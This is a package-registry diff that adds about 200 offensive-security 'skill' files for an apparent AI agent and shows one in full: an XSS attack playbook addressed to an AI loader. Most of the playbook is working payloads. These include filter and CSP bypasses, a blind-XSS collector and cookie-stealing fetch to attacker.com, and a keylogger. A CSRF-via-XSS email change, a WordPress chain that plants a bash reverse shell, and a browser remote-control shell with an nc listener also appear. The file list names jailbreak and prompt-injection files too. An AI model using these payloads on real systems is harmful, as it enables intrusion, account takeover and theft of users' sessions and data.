ineedcodes 1.6.1 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +6 -3
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,379 @@
1
+ ---
2
+ name: xss-cross-site-scripting
3
+ description: >-
4
+ XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.gated: true
5
+ ---
6
+
7
+ # SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows `<script>alert(1)</script>` — this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion [SCENARIOS.md](./SCENARIOS.md).
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ ### Extended Scenarios
14
+
15
+ Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
16
+ - Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
17
+ - UTF-7 XSS for legacy IE environments (`+ADw-script+AD4-`)
18
+ - HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
19
+ - XS-Leaks side channel attacks — timing oracle, cache probing, `performance.now()` measurement
20
+ - Session fixation via XSS — pre-set session ID before victim login
21
+ - DOM clobbering techniques for CSP-restricted environments
22
+
23
+ ### Advanced Tricks
24
+
25
+ Also load [ADVANCED_XSS_TRICKS.md](./ADVANCED_XSS_TRICKS.md) when you need:
26
+ - mXSS / DOMPurify bypass — namespace confusion, `<noscript>` parsing differential, form/table restructuring
27
+ - DOM Clobbering — property override via `id`/`name`, HTMLCollection, deep property chains
28
+ - Modern framework XSS — React `dangerouslySetInnerHTML`, Vue `v-html`, Angular `bypassSecurityTrust*`, Next.js SSR
29
+ - Trusted Types bypass — default policy abuse, non-TT sinks, policy passthrough
30
+ - Service Worker XSS persistence — malicious SW registration, fetch interception, post-patch survival
31
+ - PDF/SVG/MathML XSS vectors, polyglot payloads, browser-specific tricks
32
+ - XS-Leaks & side channels — timing oracle, frame counting, cache probing, error event oracle
33
+
34
+ Before broad payload spraying, you can first load:
35
+
36
+ - [upload insecure files](../upload-insecure-files/SKILL.md) when you need the full upload path: validation, storage, preview, and sharing behavior
37
+
38
+ ### Quick context picks
39
+
40
+ | Context | First Pick | Backup |
41
+ |---|---|---|
42
+ | HTML body | `<svg onload=alert(1)>` | `<img src=1 onerror=alert(1)>` |
43
+ | Quoted attribute | `" autofocus onfocus=alert(1)//` | `" onmouseover=alert(1)//` |
44
+ | JavaScript string | `'-alert(1)-'` | `'</script><svg onload=alert(1)>` |
45
+ | URL / href sink | `javascript:alert(1)` | `data:text/html,<svg onload=alert(1)>` |
46
+ | Tag body like `title` | `</title><svg onload=alert(1)>` | `</textarea><svg onload=alert(1)>` |
47
+ | SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>` | XHTML namespace payload |
48
+
49
+ ```html
50
+ <svg onload=alert(1)>
51
+ <img src=1 onerror=alert(1)>
52
+ " autofocus onfocus=alert(1)//
53
+ '</script><svg onload=alert(1)>
54
+ javascript:alert(1)
55
+ data:text/html,<svg onload=alert(1)>
56
+ ```
57
+
58
+ ---
59
+
60
+ ## 1. INJECTION CONTEXT MATRIX
61
+
62
+ Identify context **before** picking a payload. Wrong context = wasted attempts.
63
+
64
+ | Context | Indicator | Opener | Payload |
65
+ |---|---|---|---|
66
+ | HTML outside tag | `<b>INPUT</b>` | `<svg onload=` | `<svg onload=alert(1)>` |
67
+ | HTML attribute value | `value="INPUT"` | `"` close attr | `"onmouseover=alert(1)//` |
68
+ | Inline attr, no tag close | Quoted, `>` stripped | Event injection | `"autofocus onfocus=alert(1)//` |
69
+ | Block tag (title/script/textarea) | `<title>INPUT</title>` | Close tag first | `</title><svg onload=alert(1)>` |
70
+ | href / src / data / action | link or form | Protocol | `javascript:alert(1)` |
71
+ | JS string (single quote) | `var x='INPUT'` | Break string | `'-alert(1)-'` or `'-alert(1)//` |
72
+ | JS string with escape | Backslash escaping | Double escape | `\'-alert(1)//` |
73
+ | JS logical block | Inside if/function | Close + inject | `'}alert(1);{'` |
74
+ | JS anywhere on page | `<script>...INPUT` | Break script | `</script><svg onload=alert(1)>` |
75
+ | XML page (`text/xml`) | XML content-type | XML namespace | `<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>` |
76
+
77
+ ---
78
+
79
+ ## 2. MULTI-REFLECTION ATTACKS
80
+
81
+ When input reflects in **multiple places** on the same page — single payload triggers from all points:
82
+
83
+ ```html
84
+ <!-- Double reflection -->
85
+ 'onload=alert(1)><svg/1='
86
+ '>alert(1)</script><script/1='
87
+ */alert(1)</script><script>/*
88
+
89
+ <!-- Triple reflection -->
90
+ */alert(1)">'onload="/*<svg/1='
91
+ `-alert(1)">'onload="`<svg/1='
92
+ */</script>'>alert(1)/*<script/1='
93
+
94
+ <!-- Two separate inputs (p= and q=) -->
95
+ p=<svg/1='&q='onload=alert(1)>
96
+ ```
97
+
98
+ ---
99
+
100
+ ## 3. ADVANCED INJECTION VECTORS
101
+
102
+ ### DOM Insert Injection (when reflection is in DOM not source)
103
+ Input inserted via `.innerHTML`, `document.write`, jQuery `.html()`:
104
+ ```html
105
+ <img src=1 onerror=alert(1)>
106
+ <iframe src=javascript:alert(1)>
107
+ ```
108
+ For URL-controlled resource insertion:
109
+ ```html
110
+ data:text/html,<img src=1 onerror=alert(1)>
111
+ data:text/html,<iframe src=javascript:alert(1)>
112
+ ```
113
+
114
+ ### PHP_SELF Path Injection
115
+ When URL itself is reflected in form `action`:
116
+ ```
117
+ https://target.com/page.php/"><svg onload=alert(1)>?param=val
118
+ ```
119
+ Inject between `.php` and `?`, using leading `/`.
120
+
121
+ ### File Upload XSS
122
+
123
+ **Filename injection** (when filename is reflected):
124
+ ```
125
+ "><svg onload=alert(1)>.gif
126
+ ```
127
+
128
+ **SVG upload** (stored XSS via image upload accepting SVG):
129
+ ```xml
130
+ <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
131
+ ```
132
+
133
+ **Metadata injection** (when EXIF is reflected):
134
+ ```bash
135
+ exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
136
+ ```
137
+
138
+ ### postMessage XSS (no origin check)
139
+ When page has `window.addEventListener('message', ...)` without origin validation:
140
+ ```html
141
+ <iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
142
+ ```
143
+
144
+ ### postMessage Origin Bypass
145
+ When origin IS checked but uses `.includes()` or prefix match:
146
+ ```
147
+ http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
148
+ ```
149
+ Attacker controls `facebook.com.ATTACKER.com` subdomain.
150
+
151
+ ### XML-Based XSS
152
+ Response has `text/xml` or `application/xml`:
153
+ ```html
154
+ <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
155
+ <x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
156
+ ```
157
+
158
+ ### Script Injection Without Closing Tag
159
+ When there IS a `</script>` tag later in the page:
160
+ ```html
161
+ <script src=data:,alert(1)>
162
+ <script src=//attacker.com/1.js>
163
+ ```
164
+
165
+ ---
166
+
167
+ ## 4. CSP BYPASS TECHNIQUES
168
+
169
+ ### JSONP Endpoint Bypass (allow-listed domain has JSONP)
170
+ ```html
171
+ <script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
172
+ </script>
173
+ ```
174
+
175
+ ### AngularJS CDN Bypass (allow-listed `ajax.googleapis.com`)
176
+ ```html
177
+ <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
178
+ <x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
179
+ ```
180
+
181
+ ### Angular Expressions (server encodes HTML but AngularJS evaluates)
182
+ When `{{1+1}}` evaluates to `2` on page — classic CSTI indicator:
183
+ ```javascript
184
+ // Angular 1.x sandbox escape:
185
+ {{constructor.constructor('alert(1)')()}}
186
+
187
+ // Angular 1.5.x:
188
+ {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
189
+ ```
190
+
191
+ ### base-uri Injection (CSP without base-uri restriction)
192
+ ```html
193
+ <base href="https://attacker.com/">
194
+ ```
195
+ Relative `<script src=...>` loads from attacker's server.
196
+
197
+ ### DOM-based via Dangling Markup
198
+ When CSP blocks script but allows `img`:
199
+ ```html
200
+ <img src='https://attacker.com/log?
201
+ ```
202
+ Leaks subsequent page content to attacker.
203
+
204
+ ---
205
+
206
+ ## 5. FILTER AND WAF BYPASS
207
+
208
+ ### Parameter Name Attack (WAF checks value not name)
209
+ When parameter names are reflected (e.g., in JSON output):
210
+ ```
211
+ ?"></script><base%20c%3D=href%3Dhttps:\mysite>
212
+ ```
213
+ Payload is the **parameter name**, not value.
214
+
215
+ ### Encoding Chains
216
+ ```
217
+ %253C → double-encoded <
218
+ %26lt; → HTML entity double-encoding
219
+ <%00h2 → null byte injection
220
+ %0d%0a → CRLF inside tag
221
+ ```
222
+ Test sequence: reflect → encoding behavior → identify filter logic → mutate.
223
+
224
+ ### Tag Mutation (blacklist bypass)
225
+ ```html
226
+ <ScRipt> ← case variation
227
+ </script/x> ← trailing garbage
228
+ <script ← incomplete (relies on later >)
229
+ <%00iframe ← null byte
230
+ <svg/onload= ← slash instead of space
231
+ ```
232
+
233
+ ### Fragmented Injection (strip-tags bypass)
234
+ Filter strips `<x>...</x>`:
235
+ ```
236
+ "o<x>nmouseover=alert<x>(1)//
237
+ "autof<x>ocus o<x>nfocus=alert<x>(1)//
238
+ ```
239
+
240
+ ### Vectors Without Event Handlers
241
+ ```html
242
+ <form action=javascript:alert(1)><input type=submit>
243
+ <form><button formaction=javascript:alert(1)>click
244
+ <isindex action=javascript:alert(1) type=submit value=click>
245
+ <object data=javascript:alert(1)>
246
+ <iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
247
+ <math><brute href=javascript:alert(1)>click
248
+ ```
249
+
250
+ ---
251
+
252
+ ## 6. SECOND-ORDER XSS
253
+
254
+ **Definition**: Input is stored (often normalized/HTML-encoded), then later **retrieved** and inserted into DOM without re-encoding.
255
+
256
+ **Classic trigger payload** (bypasses immediate HTML encoding):
257
+ ```
258
+ &lt;svg/onload&equals;alert(1)&gt;
259
+ ```
260
+ Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).
261
+
262
+ **Stored → Admin context XSS**: most impactful — sign up with crafted username, wait for admin to view user list.
263
+
264
+ ---
265
+
266
+ ## 7. BLIND XSS METHODOLOGY
267
+
268
+ Every parameter that is **not immediately reflected** should be tested for blind XSS:
269
+ - Contact forms, feedback fields
270
+ - User-agent / referer
271
+ - Registration fields
272
+ - Error log injections
273
+
274
+ **Blind XSS callback payload** (remote JS file approach):
275
+ ```html
276
+ "><script src=//attacker.com/bxss.js></script>
277
+ ```
278
+
279
+ **Minimal collector** (hosted at `bxss.js`):
280
+ ```javascript
281
+ var d = document;
282
+ var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
283
+ fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
284
+ ```
285
+
286
+ Use **XSS Hunter** or similar blind XSS platform for automated collection.
287
+
288
+ ---
289
+
290
+ ## 8. XSS EXPLOITATION CHAIN
291
+
292
+ ### Cookie Steal
293
+ ```javascript
294
+ fetch('//attacker.com/?c='+document.cookie)
295
+ // HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
296
+ ```
297
+
298
+ ### Keylogger
299
+ ```javascript
300
+ document.onkeypress = function(e) {
301
+ fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
302
+ }
303
+ ```
304
+
305
+ ### CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)
306
+ ```javascript
307
+ var r = new XMLHttpRequest();
308
+ r.open('GET', '/account/settings', false);
309
+ r.send();
310
+ var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
311
+ var f = new XMLHttpRequest();
312
+ f.open('POST', '/account/email/change', true);
313
+ f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
314
+ f.send('email=attacker@evil.com&csrf='+token);
315
+ ```
316
+
317
+ ### WordPress XSS → RCE (admin session + Hello Dolly plugin):
318
+ ```javascript
319
+ p = '/wp-admin/plugin-editor.php?';
320
+ q = 'file=hello.php';
321
+ s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
322
+ a = new XMLHttpRequest();
323
+ a.open('GET', p+q, 0); a.send();
324
+ $ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
325
+ '&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
326
+ b = new XMLHttpRequest();
327
+ b.open('POST', p+q, 1);
328
+ b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
329
+ b.send($);
330
+ b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
331
+ ```
332
+
333
+ ### Browser Remote Control (JS command shell)
334
+ ```javascript
335
+ // Injected into victim:
336
+ setInterval(function(){
337
+ with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
338
+ },100)
339
+ ```
340
+ ```bash
341
+ # Attacker listener:
342
+ while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
343
+ ```
344
+
345
+ ---
346
+
347
+ ## 9. DECISION TREE
348
+
349
+ ```
350
+ Test XSS entry point
351
+ ├── Input reflected in response?
352
+ │ ├── YES → Identify context (HTML / JS / attr / URL)
353
+ │ │ → Select context-appropriate payload
354
+ │ │ → If blocked → check filter behavior
355
+ │ │ │ → Try encoding, case mutation, fragmentation
356
+ │ │ │ → Check if parameter NAME is reflected (WAF gap)
357
+ │ │ └── Success → escalate (cookie steal / CSRF / RCE)
358
+ │ └── NO → Is it stored? → Inject blind XSS payload
359
+ │ Is it in DOM? → Check JS source for unsafe sinks
360
+ │ (innerHTML, eval, document.write, location.href)
361
+ └── CSP present?
362
+ ├── Check for JSONP endpoints on allow-listed domains
363
+ ├── Check for AngularJS on CDN allow-list
364
+ ├── Check for base-uri missing → <base> injection
365
+ └── Check for unsafe-eval or unsafe-inline exceptions
366
+ ```
367
+
368
+ ---
369
+
370
+ ## 10. XSS TESTING PROCESS (ZSEANO METHOD)
371
+
372
+ 1. **Step 1** — Test non-malicious tags: `<h2>`, `<img>`, `<table>` — are they reflected raw?
373
+ 2. **Step 2** — Test incomplete tags: `<iframe src=//attacker.com/c=` (no closing `>`)
374
+ 3. **Step 3** — Encoding probes: `<%00h2`, `%0d`, `%0a`, `%09`, `%253C`
375
+ 4. **Step 4** — If filtering `<script>` and `onerror` but NOT `<script ` (without close): `<script src=//attacker.com?c=`
376
+ 5. **Step 5** — Blacklist check: does `<svg>` work? Does `<ScRiPt>` work?
377
+ 6. Note: **the same filter likely exists elsewhere** — if they filter `<script>` in search, do they filter it in file upload filename? In profile bio?
378
+
379
+ **Key insight**: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.
@@ -0,0 +1,112 @@
1
